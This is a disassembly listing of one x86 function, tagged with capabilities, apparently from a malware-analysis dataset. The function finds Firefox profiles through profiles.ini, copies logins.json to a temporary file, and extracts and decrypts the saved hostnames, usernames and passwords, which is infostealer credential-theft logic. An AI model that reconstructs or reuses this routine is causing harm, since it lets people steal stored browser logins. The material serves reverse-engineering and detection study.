Function at 0x40d379
Capabilities:
Check if file exists
Copy file
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4d0
push ebx
push esi
push edi
mov esi, ecx
lea ecx, [ebp - 0x14]
push str.Profile
mov dword [ebp - 0x10], esi
call fcn.0040460a
push 0x208
xor ebx, ebx
lea eax, [ebp - 0x4cc]
push ebx
push eax
call fcn.00401293
add esp, 0xc
mov dword [ebp - 0x40], ebx
lea eax, [ebp - 0x2c4]
mov edi, ebx
push 0x104
push ebx
push eax
call fcn.00401293
pop ecx
pop ecx
lea edx, [ebp - 0x2c4]
mov ecx, str.firefox.exe
call fcn.0040eb8e
pop ecx
test eax, eax
je 0x40da51
lea eax, [ebp - 0x2c4]
push eax
lea ecx, [ebp - 0x20]
call fcn.0040460a
push str._firefox.exe
lea eax, [ebp - 0x2c4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x2c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
cmp dword [ebp - 0x40], 6
jne 0x40d436
push 1
push ecx
lea eax, [ebp - 0x20]
mov ecx, esp
push eax
call fcn.00404656
mov ecx, esi
call fcn.0040e331
test eax, eax
jne 0x40d473
jmp 0x40da49
push ebx
push ecx
mov edi, esp
mov dword [edi], ebx
cmp dword [ebp - 0x20], ebx
je 0x40d462
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push dword [ebp - 0x20]
mov dword [edi], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, esi
call fcn.0040e331
test eax, eax
je 0x40da49
mov edi, ebx
push str.MozillaFirefox_
lea ecx, [ebp + 8]
call fcn.004043fa
mov dword [ebp - 0x1c], ebx
cmp dword [ebp + 8], ebx
je 0x40d4aa
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push dword [ebp + 8]
mov dword [ebp - 0x1c], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.profiles.ini
lea ecx, [ebp - 0x1c]
call fcn.004043fa
push str.Profile
lea ecx, [ebp - 0x2c]
call fcn.0040460a
push eax
lea ecx, [ebp - 0x14]
call fcn.004043c7
mov ecx, dword [ebp - 0x2c]
call fcn.00406f1d
push ebx
lea ecx, [ebp - 0x14]
call fcn.00404477
push dword [ebp - 0x1c]
lea eax, [ebp - 0x4cc]
push 0x104
push eax
push ebx
push str.Path
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x40da37
inc edi
lea ecx, [ebp - 0x44]
push str.Profile
mov dword [ebp - 0xa0], edi
call fcn.0040460a
push eax
lea ecx, [ebp - 0x14]
call fcn.004043c7
mov ecx, dword [ebp - 0x44]
call fcn.00406f1d
push edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x44], ebx
call fcn.00404477
cmp dword [ebp + 8], 0
mov dword [ebp - 0x28], ebx
je 0x40d560
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push dword [ebp + 8]
mov dword [ebp - 0x28], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x4cc]
push eax
lea ecx, [ebp - 0x28]
call fcn.004043fa
mov esi, dword [ebp - 0x28]
mov edi, ebx
mov dword [ebp - 0x24], edi
test esi, esi
je 0x40d5e0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push ebx
push ebx
push ebx
push eax
push esi
push 0x200
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
mov ecx, edi
call fcn.00406f2c
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
push ecx
push ecx
push edi
push ebx
push eax
push esi
push ecx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
lea ecx, [ebp - 0x70]
call fcn.0040434f
push eax
lea ecx, [ebp - 0x24]
call fcn.0040415d
mov ecx, dword [ebp - 0x70]
call fcn.00406f1d
mov ecx, ebx
call fcn.00406f1d
mov edi, dword [ebp - 0x24]
xor ebx, ebx
mov eax, dword [ebp - 0x10]
push edi
mov eax, dword [eax + 0x84]
call eax
pop ecx
test eax, eax
jne 0x40d9fa
mov eax, dword [ebp - 0x10]
call dword [eax + 0x9c]
mov ecx, eax
mov dword [ebp - 0x9c], ecx
test ecx, ecx
je 0x40d9fa
mov eax, dword [ebp - 0x10]
push ebx
push 1
push ecx
mov eax, dword [eax + 0x98]
call eax
add esp, 0xc
test eax, eax
jne 0x40d9fa
mov dword [ebp - 0xc], ebx
test esi, esi
je 0x40d64d
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push esi
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.logins.json
lea ecx, [ebp - 0xc]
call fcn.004043fa
push 0x1a
pop edx
lea ecx, [ebp - 8]
call fcn.00413915
push 0x4194e4
lea ecx, [ebp - 8]
call fcn.004043fa
push 8
pop edx
lea ecx, [ebp - 0x48]
call fcn.004044c4
push eax
lea ecx, [ebp - 8]
call fcn.004042c5
mov ecx, dword [ebp - 0x48]
call fcn.00406f1d
push str..tmp
lea ecx, [ebp - 8]
mov dword [ebp - 0x48], ebx
call fcn.004043fa
push ebx
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40d6bb
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0xc]
call fcn.004043c7
lea ecx, [ebp - 0xbc]
call fcn.00413fc0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0xb8], ebx
test eax, eax
je 0x40d6f6
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406e8d
push dword [ebp - 0xc]
mov dword [ebp - 0xb8], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ecx
push 0xc0000000
lea ecx, [ebp - 0xbc]
call fcn.00413f4f
lea ecx, [ebp - 0xbc]
test eax, eax
je 0x40d9e2
push ebx
push dword [ebp - 0xa8]
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], ebx
push eax
mov dword [ebp - 0x30], ebx
call fcn.00413b7c
push str.encryptedUsername
lea ecx, [ebp - 0x78]
call fcn.0040434f
mov ebx, eax
lea ecx, [ebp - 0x34]
lea eax, [ebp - 0x74]
push eax
call fcn.00403f58
mov edx, ebx
mov ecx, eax
call fcn.0040c354
mov ecx, dword [ebp - 0x74]
mov ebx, eax
mov dword [ebp - 0x18], eax
call fcn.00406f1d
mov ecx, dword [ebp - 0x78]
call fcn.00406f1d
test ebx, ebx
je 0x40d96e
mov edi, dword [ebp - 0x10]
xor esi, esi
push str.hostname
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x64], esi
call fcn.0040434f
mov ebx, eax
lea ecx, [ebp - 0x34]
lea eax, [ebp - 0x7c]
push eax
call fcn.00403f58
push dword [ebp - 0x18]
mov edx, eax
lea ecx, [ebp - 0x2c]
push ebx
call fcn.0040c38d
pop ecx
pop ecx
mov ecx, dword [ebp - 0x7c]
call fcn.00406f1d
mov ecx, dword [ebp - 0x80]
call fcn.00406f1d
push str.encryptedUsername
lea ecx, [ebp - 0x88]
call fcn.0040434f
mov ebx, eax
lea ecx, [ebp - 0x34]
lea eax, [ebp - 0x84]
push eax
call fcn.00403f58
push dword [ebp - 0x18]
mov edx, eax
lea ecx, [ebp - 0x5c]
push ebx
call fcn.0040c38d
pop ecx
pop ecx
mov ecx, dword [ebp - 0x84]
call fcn.00406f1d
mov ecx, dword [ebp - 0x88]
call fcn.00406f1d
push str.encryptedPassword
lea ecx, [ebp - 0x90]
call fcn.0040434f
mov ebx, eax
lea ecx, [ebp - 0x34]
lea eax, [ebp - 0x8c]
push eax
call fcn.00403f58
push dword [ebp - 0x18]
mov edx, eax
lea ecx, [ebp - 0x58]
push ebx
call fcn.0040c38d
pop ecx
pop ecx
mov ecx, dword [ebp - 0x8c]
call fcn.00406f1d
mov ecx, dword [ebp - 0x90]
call fcn.00406f1d
lea eax, [ebp - 0x38]
mov ecx, edi
push eax
push dword [ebp - 0x5c]
call fcn.0040da6a
lea eax, [ebp - 0x3c]
mov ecx, edi
push eax
push dword [ebp - 0x58]
call fcn.0040da6a
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004040d5
push eax
lea ecx, [ebp - 0x6c]
call fcn.004043c7
mov ecx, dword [ebp - 0x4c]
call fcn.00406f1d
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x4c], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d885
sub ecx, edx
je 0x40d8c8
push dword [ebp - 0x38]
lea ecx, [ebp - 0x94]
call fcn.0040434f
lea ecx, [ebp - 0x50]
push ecx
mov ecx, eax
call fcn.004040d5
push eax
lea ecx, [ebp - 0x68]
call fcn.004043c7
mov ecx, dword [ebp - 0x50]
call fcn.00406f1d
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x50], esi
call fcn.00406f1d
mov ecx, dword [ebp - 0x3c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d8ce
sub ecx, edx
je 0x40d911
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x98]
call fcn.0040434f
lea ecx, [ebp - 0x54]
push ecx
mov ecx, eax
call fcn.004040d5
push eax
lea ecx, [ebp - 0x64]
call fcn.004043c7
mov ecx, dword [ebp - 0x54]
call fcn.00406f1d
mov ecx, dword [ebp - 0x98]
mov dword [ebp - 0x54], esi
call fcn.00406f1d
sub esp, 0x10
mov dword [ebp - 0x60], esi
lea eax, [ebp - 0x6c]
mov ecx, esp
push eax
call fcn.00402790
mov ecx, edi
call fcn.0040283b
mov ecx, dword [ebp - 0x38]
call fcn.00406f1d
mov ecx, dword [ebp - 0x3c]
call fcn.00406f1d
mov ebx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x58]
dec ebx
mov dword [ebp - 0x18], ebx
call fcn.00406f1d
mov ecx, dword [ebp - 0x5c]
call fcn.00406f1d
mov ecx, dword [ebp - 0x2c]
call fcn.00406f1d
lea ecx, [ebp - 0x6c]
call fcn.004015d4
test ebx, ebx
jne 0x40d771
mov esi, dword [ebp - 0x28]
mov edi, dword [ebp - 0x24]
push dword [ebp - 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
xor ebx, ebx
test eax, eax
je 0x40d9b4
push ecx
mov eax, esp
mov dword [ebp - 0x24], eax
mov dword [eax], ebx
cmp dword [ebp - 8], ebx
je 0x40d9ae
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
mov ecx, dword [ebp - 0x24]
push dword [ebp - 8]
push eax
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
call fcn.00413c34
pop ecx
mov eax, dword [ebp - 0x10]
push dword [ebp - 0x9c]
call dword [eax + 0xa0]
mov eax, dword [ebp - 0x10]
pop ecx
call dword [eax + 0x88]
mov ecx, dword [ebp - 0x34]
test ecx, ecx
je 0x40d9d9
call fcn.00406f66
mov dword [ebp - 0x34], ebx
lea ecx, [ebp - 0xbc]
call fcn.00413c16
mov ecx, dword [ebp - 8]
call fcn.00406f1d
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ebx
call fcn.00406f1d
mov ecx, edi
call fcn.00406f1d
mov ecx, esi
call fcn.00406f1d
push dword [ebp - 0x1c]
lea eax, [ebp - 0x4cc]
push 0x104
push eax
push ebx
push str.Path
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov edi, dword [ebp - 0xa0]
test eax, eax
jne 0x40d504
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.0040e2da
mov ecx, dword [ebp - 0x1c]
xor ebx, ebx
inc ebx
call fcn.00406f1d
mov ecx, dword [ebp - 0x20]
call fcn.00406f1d
mov ecx, dword [ebp - 0x14]
call fcn.00406f1d
mov ecx, dword [ebp + 8]
call fcn.00406f1d
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 4